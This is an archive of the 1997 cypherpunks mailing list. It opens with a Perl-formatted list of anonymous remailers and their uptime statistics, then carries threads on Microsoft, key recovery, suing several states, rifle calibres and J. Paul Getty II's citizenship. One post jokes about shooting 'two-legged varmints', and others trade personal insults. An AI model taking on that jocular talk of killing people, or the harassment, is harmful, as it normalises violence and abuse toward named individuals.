$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon dyer <landon@best.com>
Date: Mon, 29 Dec 1997 22:58:16 +0800
To: Patrick May <pjm@spe.com>
Subject: Re: Why I Support Microsoft
In-Reply-To: <v03102801b0cc797c0c9d@[207.167.93.63]>
Message-ID: <3.0.3.32.19971229065217.00a2b1b0@shell9.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:47 AM 12/29/97 -0800, you wrote:
>
>  [lots of linux-vs-microsoft stuff deleted, then:]
>
>     - The third party market for Linux software would grow rapidly
>       and enormously.
>     - The government's software budget would be reduced dramatically.
>
>I consider both of these to be Good Things (tm).  The government
>wouldn't be forcing anything at the point of a gun, they'd simply be
>making a financially responsible vendor selection (hey, there's a
>first time for everything).  Our tax dollars shouldn't be wasted on
>substandard software when superior, cheaper alternatives exist.


  i haven't touched unix or linux in a long time, but i submit that
your ordinary GS-4 secretary can deal with microsoft word a lot more
efficiently than s/he can deal with vi/emacs/latex.  i assume there are
better tools available on *ix platforms these days, which actually
destroys my argument:

  do you really want the government to be more efficient?  :-)


peace,

-landon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 29 Dec 1997 20:21:49 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <031ce308b9b0af69c83a11320732d575@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Timmy May's reheated, refurbished, and 
regurgitated cud is completely 
inappropriate for the mailing lists into 
which it is cross-ruminated.

 ( )( )________ Timmy May
 /00           \      _
O_\\--mm---mm  /_______)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 29 Dec 1997 22:03:53 +0800
To: David Miller <dm0@avana.net>
Subject: Re: NRA vs. KRA
In-Reply-To: <34A5DCD2.654AC12@avana.net>
Message-ID: <199712291400.JAA19072@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <34A5DCD2.654AC12@avana.net>, on 12/28/97 
   at 12:00 AM, David Miller <dm0@avana.net> said:

>Some of these players I would expect to sit at the key recovery table,
>but why SUN?  Any of you California dudes know what's up with that?

Government Contracts!!

Remember the Golden Rule: He who has the gold makes the rules.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKery49Co1n+aLhhAQGVcQP7BWu4B9iQk/Fqt5TlcaoLkXVq7GJDvonu
3NLO7mqJsD5lcbXVoG5XGLkH8cRl/sQTOS0T6An5JzPn7pafWp6PzU5WGvzdBM1h
NpnBTzN40/88oOgePc3mwdJ3hURB/qAgkEEGUT/mQUCcJaYRYXU8e74OmIKXm53E
IrHDvz2AXWE=
=ta+h
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 29 Dec 1997 22:40:43 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712290504.XAA00440@einstein.ssz.com>
Message-ID: <199712291440.JAA19396@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712290504.XAA00440@einstein.ssz.com>, on 12/29/97 
   at 12:04 AM, Jim Choate <ravage@ssz.com> said:

>Of note is that this amendment *only* covers cases where a citizen sues a
>*single* state, not 49 of them.

>There is no Constitutional rule that covers the process between a
>individual and more than a single state. It simply ain't there.

Well considering that the Constitution is a *limiting* document, if the
powers are not explicitly given to the Federal Government they don't have
them.

Soooo, in the case of a citizen sues multiple states the Federal
Government still has no juristiction as they have never explicitly been
given that power.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKe1Fo9Co1n+aLhhAQHcmAQAwXaoWdS/llFXNBqJhzEISlX8uGlzoTbl
X14NV29B3DJPDUypjixV4WdPNhHTKqvVgwApO7k5vc3qqSgVidPfyAv06/+XtXLB
/l+vIFi/NAgVlm+RPI6Z5najruZamRMilUGSJRP05Y/+nJBSo0v/2sznAqzD8L0u
PdCQQQobEaU=
=BsJX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 30 Dec 1997 00:54:27 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Guns: H&K, G3, 7.62 v 5.56 [Guns]
In-Reply-To: <199712290708.BAA00806@einstein.ssz.com>
Message-ID: <v03102803b0cd7444f7fe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:08 AM -0700 12/29/97, Jim Choate wrote:
>Hi,
>
>I finaly got around to doing some research on Tim's claim regarding H&K's G3
>being a 5.56 round while the various folks I have been talking to refer to
>it as a 7.62.
>
>Tim's claim that the 7.62 (.308) is actualy the HK-91/G1 and not the G3 is
>correct. The confusion comes from the fact that a few years ago the German

Thanks, Jim, for checking and acknowledging this graciously.

(I do agree with some that weapons arcania is somewhat off-topic for CPs,
but I felt I had to write something when Jim initially corrected my HK-91
usage.)

>H&K 91/G1 is 7.62 (.308) (old standard issue)
>H&K 93/G3 is 5.56 (.223)
>FN/G3 is 7.62 (.308) (current standard issue)
>
>My suggested rifle *is* the H&K 91/G1 which is .308 and the local gun shop
>says used they run in the $1500 to $3000 range. New ones aren't imported.

Though Springfield and Argentine versions, with "thumbhole stocks," have
been available for about $900. These take all the HK-91 accessories,
including magazines.

I came close to buying an HK-91 back in the early 80s, when they were still
under $500. But I never did, and have not been much tempted to get one of
the SAR-9 or suchlike now. For short range (under 200 yards), an AR-15
variant does fine, and for long-range, my Remington Varmint rifle will take
care, hopefully, of any two-legged varmints that wander into range.

I haven't seen Jim's reaction to my point about bolt-action rifles still
being far and away the favored weapon for sniping. Neither an AR-15 variant
nor an HK variant are advised for long-range shots (though either will of
course be capable of such shots...it's just that one wants the absolute
best precsion, and cycling rate is largely immaterial).

As for television, hey, just last night there was a "SWAT situation" in
"The X Files." And while most of the SWAT members were carrying CAR-15s and
such, the marksmen on rooftops, the "snipers," were racking the bolts on
bolt actions. Probably Remingtons PSS rifles, in real life, though the Prop
Department no doubt hands out whatever they have handy.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 22:53:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: constitution.amendmentxi.html (fwd)
Message-ID: <199712291511.JAA01429@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Mon, 29 Dec 97 08:32:34 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> >Of note is that this amendment *only* covers cases where a citizen sues a
> >*single* state, not 49 of them.
> 
> >There is no Constitutional rule that covers the process between a
> >individual and more than a single state. It simply ain't there.
> 
> Well considering that the Constitution is a *limiting* document, if the
> powers are not explicitly given to the Federal Government they don't have
> them.
> 
> Soooo, in the case of a citizen sues multiple states the Federal
> Government still has no juristiction as they have never explicitly been
> given that power.

So what you are saying, though I doubt you realize it, is that a citizen
*can't* sue 2 or more states as a group. They *must* sue singly and in the
individual state courts.

Of course, this isn't explicity described either, so where does this
authority come from?

This means there is no way to sue states as a group for their actions in
regards to relations to the federal government. So the federal government
can require the states to do all kinds of things and I as a citizen and
effected by those actions can't sue the states but only the federal
government.

Interesting hole. I wonder if it will hold up.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 29 Dec 1997 23:43:49 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712291511.JAA01429@einstein.ssz.com>
Message-ID: <199712291541.KAA19927@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291511.JAA01429@einstein.ssz.com>, on 12/29/97 
   at 09:11 AM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@invweb.net>
>> Date: Mon, 29 Dec 97 08:32:34 -0600
>> Subject: Re: constitution.amendmentxi.html (fwd)

>> >Of note is that this amendment *only* covers cases where a citizen sues a
>> >*single* state, not 49 of them.
>> 
>> >There is no Constitutional rule that covers the process between a
>> >individual and more than a single state. It simply ain't there.
>> 
>> Well considering that the Constitution is a *limiting* document, if the
>> powers are not explicitly given to the Federal Government they don't have
>> them.
>> 
>> Soooo, in the case of a citizen sues multiple states the Federal
>> Government still has no juristiction as they have never explicitly been
>> given that power.

>So what you are saying, though I doubt you realize it, is that a citizen
>*can't* sue 2 or more states as a group. They *must* sue singly and in
>the individual state courts.

>Of course, this isn't explicity described either, so where does this
>authority come from?

- From the laws and Constitutions of the individule states.

>This means there is no way to sue states as a group for their actions in
>regards to relations to the federal government. So the federal government
>can require the states to do all kinds of things and I as a citizen and
>effected by those actions can't sue the states but only the federal
>government.

>Interesting hole. I wonder if it will hold up.

Well you can only sue the state that has caused some form of direct damage
against you. If both Texas and Alaska are doing somthing Unconstitutional
but Texas is the only one who has directly caused damage then you should
only be able to sue Texas. Even if Alaska is doing the exact same thing
unless they have directly caused damage against you there is no basis to
included them as a party in your suit. There will be exceptions to this
and one may very well have to sue each state in it's own courts if you
have greviances with more than one State. I think that in the majority of
cases one will find that a greviance will be limited to a single state (I
think it would be very rare to find a case where all 50 states had
directly caused damage against an individule).

An example of this would be back in the 50's with the forced segregation
laws. If you were living in Georga and wished to bring suit against the
state for violating your rights you would be limited to only suing Georga
even though AL,FL,SC,NC,TX,AR, all had the same laws on the books. Now you
could travel to each of those states and then have greviances against each
one but each greviance would be independent of each other and require
seperate suits against them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 29 Dec 1997 23:05:24 +0800
To: cypherpunks@toad.com
Subject: Re: NRA vs. KRA
In-Reply-To: <199712291400.JAA19072@users.invweb.net>
Message-ID: <u30gie53w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@invweb.net> writes:

> In <34A5DCD2.654AC12@avana.net>, on 12/28/97
>    at 12:00 AM, David Miller <dm0@avana.net> said:
>
> >Some of these players I would expect to sit at the key recovery table,
> >but why SUN?  Any of you California dudes know what's up with that?
>
> Government Contracts!!
>
> Remember the Golden Rule: He who has the gold makes the rules.

Remember the guy Sun Micro fired for posting "homophobic" jokes to Usenet?
Now I boycott Suns.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Dec 1997 23:09:23 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Right to sue multiple states...
Message-ID: <199712291529.JAA01672@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



 
			       ARTICLE III. 
 
Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority;
[deleted text]
between Citizens of different States;
[deleted text]

Clearly my suing say the govenor and legislature of each of the 50 states
qualifies as a case involving citizens of different states and therefore
there is clearly a right to sue multiple states at the federal level and
falls under the responsibility of the Supreme Court.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 29 Dec 1997 23:50:32 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Right to sue multiple states...
In-Reply-To: <199712291529.JAA01672@einstein.ssz.com>
Message-ID: <199712291550.KAA20002@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291529.JAA01672@einstein.ssz.com>, on 12/29/97 
   at 10:29 AM, Jim Choate <ravage@ssz.com> said:

> 
>			       ARTICLE III. 
> 
>Section 2.  The judicial Power shall extend to all Cases, in Law and
>Equity,  arising under this Constitution, the Laws of the United States,
>and Treaties  made, or which shall be made, under their Authority;
>[deleted text]
>between Citizens of different States;
>[deleted text]

>Clearly my suing say the govenor and legislature of each of the 50 states
>qualifies as a case involving citizens of different states and therefore
>there is clearly a right to sue multiple states at the federal level and
>falls under the responsibility of the Supreme Court.

Good point execpt are we talking of suing a States' governemnt for damages
or are we talking of suing individules, who happen to be part of a State's
government, for damages? I think that it is universal that one is
precluded from suing a memeber of government for carying out the duties of
office (ie: you can't sue the Governor of Texas for passing a law you
don't like while you can sue the govenor if hits your car going down the
road).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Mon, 29 Dec 1997 22:57:16 +0800
To: Jim Choate <cypherpunks@ssz.com
Subject: Getty Renounces US Citizenship
In-Reply-To: <199712290541.XAA00560@einstein.ssz.com>
Message-ID: <3.0.2.32.19971229094129.0378f58c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:41 PM 12/28/97 -0600, Jim Choate wrote:
   
>                   JOHN PAUL GETTY II NOW A BRITISH CITIZEN
>                                       
>     The London Sunday Telegraph says the philanthropist has become a
>     British citizen and revoked his U.S. citizenship. Sources in the
>     British government confirm the move.

That would be "renounced" his US citizenship.  

Since he is a UK *resident* as well as a UK *citizen* his move won't save 
much in the way of taxes unless the bulk of his assets are in offshore trusts 
which have been treated more leniently in the UK than in the US.


UK News Electronic Telegraph Sunday 28 December 1997

Issue 947

Paul Getty realises his dream: a British passport 

By James Hardy, Home Affairs Editor

J PAUL Getty II, the billionaire philanthropist, has sealed his love affair 
with Britain by taking out UK citizenship after 25 years' residence in this 
country.

The heir to what was once the world's largest private oil fortune received 
his British passport in the week before Christmas and immediately revoked his 
US nationality, The Telegraph has learned. Mr Getty, 65, who rarely gives 
interviews, is understood to be delighted at the alacrity with which his 
application was processed by the Home Office. The American Government is, by 
contrast, thought to be very disappointed with the development. Typically, Mr 
Getty has chosen not to publicise his change of status.

The adoption of British nationality will automatically attract the close 
attention of the Inland Revenue but friends claimed last night the prospect 
of a major increase in his tax bill did not deter him from seeking 
citizenship. They said his well known affection for the British way of life 
was the overriding factor in his decision. "Paul has given so much to this 
country over the years. It is wonderful that the country has given something 
back to him. I have no idea why he waited until now to apply," said one 
friend.

The son of John Paul Getty , formerly the world's richest man, J Paul Getty 
II has become one of the greatest benefactors the country has ever known. His 
fortune has been estimated at more than £1 billion and he is believed to have 
given away more than £120 million to deserving causes in Britain. He gave £50 
million to the National Gallery, £20 million to the British Film Institute 
and a substantial donation to the building of the Mound Stand at Lord's 
cricket ground.

Thousands of smaller donations, often anonymous, have helped charity appeals 
or raised money for causes ranging from the Special Air Service to religious 
institutions. Friends say that Mr Getty has found a happiness in Britain that 
eluded him for much of his early life. His generosity to British institutions 
was recognised with the award of an honorary knighthood in 1986.

Mr Getty retains a flat adjoining the Ritz Hotel in London but spends most of 
his time at his 2,500 acre country estate at Wormsley, Bucks. He moved to 
Britain permanently the year after the death of his second wife, Tabitha Pol, 
from an accidental drugs overdose in Rome in 1971. In 1994, he married 
Victoria Holdsworth, a long-time British friend. She is widely credited with 
his gradual re-emergence into public life after years when he was rarely 
seen.


UK News Electronic Telegraph Monday 29 December 1997

Issue 948

Citizenship may give Getty his knight's title By Sandra Barwick

J PAUL Getty II, the American billionaire who has given millions to charities 
in this country, is likely to be able to use the title "Sir" after being made 
a British citizen.

Mr Getty's generosity to British charities was recognised in 1986 when he was 
awarded a KBE, or honorary knighthood, a title he was unable to use because 
he was not a British citizen.

But with the Christmas gift of citizenship, which Home Office sources 
confirmed was granted a week before the holiday, Mr Getty may in future be 
formally accepted as Sir Paul and his wife as Lady Getty.

A 10 Downing Street spokesman said she understood that a recommendation could 
be made to the Queen that the title be formally granted and announced in such 
cases. But Buckingham Palace was unable to comment yesterday.

Other non-British holders of the KBE include Bob Geldof, who is an Irish 
citizen. Mr Getty's accession to citizenship since the honour was awarded is 
unusual, but not unprecedented.

The present Lord Menuhin was made an honorary KBE in 1965 in the same way, 
but became Sir Yehudi Menuhin after he took British nationality in 1985. He 
was later made a life peer.

Heir to what was once the world's largest private oil fortune, Mr Getty, 65, 
has a flat in central London and a 2,500-acre estate at Wormsley, Bucks. He 
is reported to have revoked his US nationality. His affection for Britain is 
well known and friends say he found a happiness here that eluded him for much 
of his earlier life. Son of John Paul Getty, the richest man in the world in 
his day, J Paul Getty II is one of Britain's greatest benefactors.

With an estimated fortune of £1 billion, he has given donations thought to 
total more than £120 million to causes including the National Gallery (£50 
million) and the British Film Institute (£20 million). Mr Getty, a cricket 
enthusiast, also made a substantial donation towards the building of the 
Mount Stand at Lord's, along with thousands of smaller gifts, often 
anonymously, to causes ranging from the SAS to religious institutions.

Three years ago he married Victoria Holdsworth, a British friend widely 
credited with his gradual re-emergence into public life after years when he 
was rarely seen. He moved to Britain permanently in 1972, a year after the 
death of Talitha Pol, his second wife, from an accidental drugs overdose in 
Rome.

************

DCF





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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Tue, 30 Dec 1997 02:06:09 +0800
To: "William H. Geiger III" <sunder@brainlink.com>
Subject: Re: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: <Pine.SUN.3.96.971226114446.17857A-101000@beast.brainlink.com>
Message-ID: <3.0.5.32.19971229094401.007a7570@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:12 AM 12/26/97 -0600, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>In <Pine.SUN.3.96.971226114446.17857A-101000@beast.brainlink.com>, on
>12/26/97 
>   at 11:45 AM, Ray Arachelian <sunder@brainlink.com> said:
>
>>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>>idea on JA's reputation capital though...)
>
>Well to be honest anyone who would trust the M$ crypto API get what they
>deserve.
>
>

Is this just random MS-baiting or do you have a real point re the API?

The API describes an interface to things you'd need for a cryptosystem.
I believe it is up to implementors to instantiate the functions appropriately.


------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Information Security <guy@panix.com>
Date: Mon, 29 Dec 1997 23:14:51 +0800
To: cypherpunks@toad.com
Subject: Vulis again
Message-ID: <199712291501.KAA08473@panix2.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



   >   Date: Mon, 29 Dec 1997 07:18:08 -0500
   >   Message-ID: <031ce308b9b0af69c83a11320732d575@anon.efga.org>
   >   From: Anonymous <anon@anon.efga.org>
   >   
   >   Timmy May's reheated, refurbished, and 
   >   regurgitated cud is completely 
   >   inappropriate for the mailing lists into 
   >   which it is cross-ruminated.
   >   
   >    ( )( )________ Timmy May
   >    /00           \      _
   >   O_\\--mm---mm  /_______)

I see you are still sending ascii-art decorated
sweet little nothings to the people you love...

---guy

   Medication refill time, Dimitry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 00:03:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: constitution.amendmentxi.html (fwd)
Message-ID: <199712291621.KAA01960@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Mon, 29 Dec 97 09:17:55 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> Well you can only sue the state that has caused some form of direct damage
> against you.

Really? Where is that in the Constitution? I can't sue a state or the
federal government on an issue of process or procedure unless I *personaly*
have been effected? Malarky. The simple fact that I am a citizen that
*could* be effected is sufficient grounds to file. Especialy considering the
detailing of authority in the 10th.

If this were so I would not be able to file against a law regulating, for
example, a religion unless I happen to be a participant of that religion.
This is clearly not constitutional since any law threating a single
religion by extension can and does threaten all religious freedom in the
country.

> If both Texas and Alaska are doing somthing Unconstitutional
> but Texas is the only one who has directly caused damage then you should
> only be able to sue Texas.

Why? If both states are participating in an illegal action - such as
complying with unconstitutional federal regulations - then even a single
state in which I *don't* reside nor have *ever* been in is a clear threat to
my constitutional rights.  Remember the feds are *required* to guarantee a
constitutional government in *all* states and that all priviliges and
immunitites be recognized by those states - irrespective of my current
geographic location. Now if we accept the argument that the 14th extends my
federal rights to the states then the wrongful action and its application is
even more clearly relevant. However, the 14th is not necessary for this to
be the case.

(thankfuly, since one of my claims is that rights are not equivalent to
priviliges or immunities)

It is the precedence and not the personal application that is
unconstitutional.

> I think that in the majority of
> cases one will find that a greviance will be limited to a single state (I
> think it would be very rare to find a case where all 50 states had
> directly caused damage against an individule).

- Illegal taxation and the compliance of the states in turning over money
  illegaly

- regulation and prohibition of firearms and the states complicancy
  in breaking the 2nd.

- the provisioning and support of military operations relating to the
  Army and Air Force (which is unconstitutional unless part of the Army
  or Navy) for more than 2 year terms.

- the failure of the US govt. to train and arm the militia in the several
  states

- the various federal regulations limiting consensual crimes contrary
  to the letter and spirit of the 9th and 10th.

- the abrogation of the states duties as equals to the federal govt.
  and their duties as a part of the checks and balances of the
  Constitution.

And as a matter of course most other issues resting on Constitutional
jurisdiction involving the willing compliance of state government.

> An example of this would be back in the 50's with the forced segregation
> laws. If you were living in Georga and wished to bring suit against the
> state for violating your rights you would be limited to only suing Georga
> even though AL,FL,SC,NC,TX,AR, all had the same laws on the books.

Nobody that I can find has *ever* even tried to do this so how can it be
undoable? It's a pity there wasn't some young turk back then to give it a
shot - course there doesn't seem to be any young turks now willing to do it
either...;(

Now, if I can figure a way around the Supreme Courts 3 year requirement...



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
